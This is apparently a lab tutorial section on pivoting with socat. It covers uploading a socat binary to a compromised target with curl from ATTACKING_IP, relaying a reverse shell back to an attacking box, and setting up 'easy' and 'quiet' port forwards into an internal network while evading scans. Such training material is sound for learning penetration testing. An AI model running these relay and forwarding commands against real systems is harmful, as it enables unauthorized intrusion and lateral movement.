04. Socat
Socat isn't just great for fully stable Linux shells[1], it's also superb for port forwarding. Its one big disadvantage (aside from the syntax, which trips a lot of people up) is that it's rarely installed on a target by default. Static binaries are easy to find for both Linux and Windows, though the Windows version is unlikely to bypass antivirus by default, so custom compilation may be required. Worth noting: if you've done the What the Shell? room, you know socat can create encrypted connections, and the techniques here could be combined with those encryption options to make encrypted forwards and relays. To keep this section from getting too complicated that won't be covered here, but it's well worth experimenting with in your own time.
The following techniques can't set up a full proxy into a target network, but they can forward ports from compromised Linux and Windows targets. Socat makes a very good relay in particular: if you're trying to get a shell on a target that has no direct connection back to your attacking computer, you can use socat on the currently compromised machine to set up a relay. It listens for the reverse shell from the target and forwards it straight back to the attacking box:
Think of socat as a way to join two things together, a bit like the Portal Gun in the Portal games: it creates a link between two different locations. That could be two ports on the same machine, a relay between two different machines, a connection between a port and a file on the listening machine, and many similar things. It's an extremely powerful tool and well worth looking into.
Generally, hackers use it to create reverse/bind shells or, as above, a port forward. In that example we're forwarding from a port on the compromised server to a listening port on our own box. We could do it the other way, forwarding a connection from the attacking machine to a target inside the network, or creating a direct link between a listening port on the attacking machine and the service on the internal server. That last one is especially useful because it doesn't require opening a port on the compromised server.
Before using socat, you'll usually need to download a binary for it and upload it to the box.
Upload with a Python Webserver
On Kali, inside the directory containing your socat binary:
sudo python3 -m http.server 80
Then, on the target:
curl ATTACKING_IP/socat -o /tmp/socat-USERNAME && chmod +x /tmp/socat-USERNAME
With the binary uploaded, let's walk through each scenario in turn.
Note: This uploads the socat binary with your username in the title; the example commands in the rest of this task refer to the binary simply as socat.
Reverse Shell Relay
Here we use socat to create a relay that sends a reverse shell back to our attacking machine (as in the diagram above). First start a standard netcat listener on the attacking box (sudo nc -lvnp 443). Then, on the compromised server, start the relay:
./socat tcp-l:8000 tcp:ATTACKING_IP:443 &
Note: the order of the two addresses matters here. Open the listening port first, then connect back to the attacking machine.
From there we create a reverse shell to the newly opened port 8000 on the compromised server. The screenshot below shows this, using netcat on the remote server to simulate receiving a reverse shell from the target server:
A Brief Explanation of the Command
tcp-l:8000creates the first half of the connection: an IPv4 listener on TCP port 8000 of the target machine.tcp:ATTACKING_IP:443connects back to our local IP on port 443. ATTACKING_IP needs to be filled in correctly for this to work.&backgrounds the listener, turning it into a job so we can still use the shell for other commands.
The relay connects back to a listener started with an alias to a standard netcat listener: sudo nc -lvnp 443.
This lets us send reverse shells through a compromised system back to our own attacking machine. It can be chained easily too, though often it's simpler to upload a static copy of netcat to receive your reverse shell directly on the compromised server.
Port Forwarding -- Easy
The quick and easy way to set up a port forward with socat is to open a listening port on the compromised server and redirect whatever comes into it to the target server. If the compromised server is 172.16.0.5 and the target is port 3306 of 172.16.0.10, run this on the compromised server:
./socat tcp-l:33060,fork,reuseaddr tcp:172.16.0.10:3306 &
This opens port 33060 on the compromised server and redirects input from the attacking machine straight to the target, giving us access to the (presumably MySQL) database running on 172.16.0.10. The fork option puts every connection into a new process, and reuseaddr keeps the port open after a connection is made. Together they let us use the same port forward for more than one connection. Once again & backgrounds the shell so we can keep using the terminal on the compromised server for other things.
We can now connect to port 33060 on the relay (172.16.0.5) and have the connection relayed directly to our target of 172.16.0.10:3306.
Port Forwarding -- Quiet
The previous method is quick and easy, but it opens a port on the compromised server that host or network scanning could spot. The risk isn't massive, but it pays to know a quieter method. It's marginally more complex and doesn't require opening a port externally on the compromised server.
First, on our own attacking machine:
socat tcp-l:8001 tcp-l:8000,fork,reuseaddr &
This opens two ports, 8000 and 8001, creating a local port relay: what goes into one comes out of the other. Port 8000 also has fork and reuseaddr set, to allow more than one connection through this forward.
Next, on the compromised relay server (172.16.0.5 in the earlier example):
./socat tcp:ATTACKING_IP:8001 tcp:TARGET_IP:TARGET_PORT,fork &
This connects our listening port 8001 on the attacking machine to the open port of the target server. Using the fictional network from before:
./socat tcp:10.50.73.2:8001 tcp:172.16.0.10:80,fork &
This links port 8000 on our attacking machine to port 80 on the target (172.16.0.10), so we can visit localhost:8000 in our attacking machine's browser to load the page served by 172.16.0.10:80.
This is a complex scenario to picture, so here's what happens when you access the page in your browser:
- The request goes to
127.0.0.1:8000. - Thanks to the socat listener we started on our own machine, anything going into port 8000 comes out of port 8001.
- Port 8001 is connected directly to the socat process on the compromised server, so anything leaving port 8001 is sent to the compromised server, where it is relayed to port 80 on the target server.
The Response Path (Reversed)
- The response is sent to the socat process on the compromised server. What goes into the process comes out the other side, which links straight to port 8001 on our attacking machine.
- Anything going into port 8001 on our attacking machine comes out of port 8000, which is where the browser expects its response, so the page is received and rendered.
We've achieved the same thing as before, but without opening any ports on the server.
Finally, we've learned how to create backgrounded socat port forwards and relays; it's important to know how to close them too. Run jobs in your terminal, then kill any socat processes with kill %NUMBER:
For the following questions, assume we're working with a local copy of socat called socat in the current directory.